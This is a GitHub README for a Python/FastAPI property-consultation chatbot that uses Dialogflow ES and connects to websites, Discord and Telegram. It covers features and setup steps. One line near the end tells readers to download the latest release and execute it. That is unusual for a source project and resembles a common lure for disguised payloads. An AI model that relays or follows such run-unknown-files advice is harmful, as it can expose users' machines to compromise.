Skip to content

A multi-platform chatbot for property consultations, integrated with Any Website Discord and Telegram using Dialogflow ES for natural language processing.

License

Notifications You must be signed in to change notification settings

malizmenezes/Kianoland-Group-ChattBot-AI

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Kianoland Group ChatBot AI 🤖🏡

Kianoland ChatBot

Welcome to the Kianoland Group ChatBot AI repository! This project aims to create a multi-platform chatbot that assists users with property consultations. It integrates seamlessly with Any Website, Discord, and Telegram, utilizing Dialogflow ES for natural language processing.

Table of Contents

Introduction

The Kianoland Group ChatBot AI is designed to enhance customer support in the real estate sector. With the rise of digital communication, having an intelligent assistant can significantly improve user experience. This chatbot can handle inquiries about properties, provide information, and assist in booking consultations.

Features

  • Multi-Platform Support: Works on Any Website, Discord, and Telegram.
  • Natural Language Processing: Uses Dialogflow ES for understanding user queries.
  • Real-Time Responses: Offers quick replies to enhance user interaction.
  • User-Friendly Interface: Easy to use for both developers and end-users.
  • Customizable Intents: Tailor the bot's responses based on user needs.
  • Webhook Integration: Connects with various APIs for enhanced functionality.

Technologies Used

  • Python: The core programming language for backend development.
  • FastAPI: A modern web framework for building APIs.
  • Dialogflow: For natural language understanding.
  • Google Cloud: Hosting and additional services.
  • Discord API: For integrating with Discord.
  • Telegram API: For integrating with Telegram.
  • REST API: To facilitate communication between different platforms.

Installation

To set up the Kianoland Group ChatBot AI on your local machine, follow these steps:

  1. Clone the Repository:

    git clone https://github.com/malizmenezes/Kianoland-Group-ChattBot-AI.git
    cd Kianoland-Group-ChattBot-AI
  2. Install Dependencies:

    Use pip to install the required libraries:

    pip install -r requirements.txt
  3. Configure Environment Variables:

    Create a .env file in the root directory and add your API keys and other configurations.

  4. Run the Application:

    Start the FastAPI server:

    uvicorn main:app --reload
  5. Access the ChatBot:

    Open your browser and navigate to http://localhost:8000/docs to see the API documentation and test the endpoints.

Usage

Once the chatbot is running, you can interact with it through the integrated platforms. Here’s how to use it on each platform:

On Any Website

  • Embed the chatbot using an iframe or JavaScript snippet.
  • Ensure your server can handle incoming requests.

On Discord

  • Add the bot to your server using the OAuth2 link.
  • Use commands to interact with the bot, such as !property to inquire about listings.

On Telegram

  • Search for your bot in Telegram and start a chat.
  • Use commands like /start to initiate the conversation.

Contributing

We welcome contributions to improve the Kianoland Group ChatBot AI. If you have suggestions or features you'd like to see, please follow these steps:

  1. Fork the repository.
  2. Create a new branch (git checkout -b feature/YourFeature).
  3. Make your changes and commit them (git commit -m 'Add some feature').
  4. Push to the branch (git push origin feature/YourFeature).
  5. Open a pull request.

License

This project is licensed under the MIT License. See the LICENSE file for details.

Contact

For any inquiries or issues, please reach out to the project maintainers:

Links

For the latest releases, visit Releases. Download the latest version and execute it to explore all the features.

Kianoland ChatBot

Feel free to check the "Releases" section for updates and new features.


This repository aims to provide a robust solution for property consultations, ensuring that users have access to the information they need, when they need it. Your feedback and contributions are vital for the continuous improvement of this project. Thank you for your interest in Kianoland Group ChatBot AI!

About

A multi-platform chatbot for property consultations, integrated with Any Website Discord and Telegram using Dialogflow ES for natural language processing.

Topics

Resources

License

Stars

Watchers

Forks

Packages

No packages published

Contributors 2

  •  
  •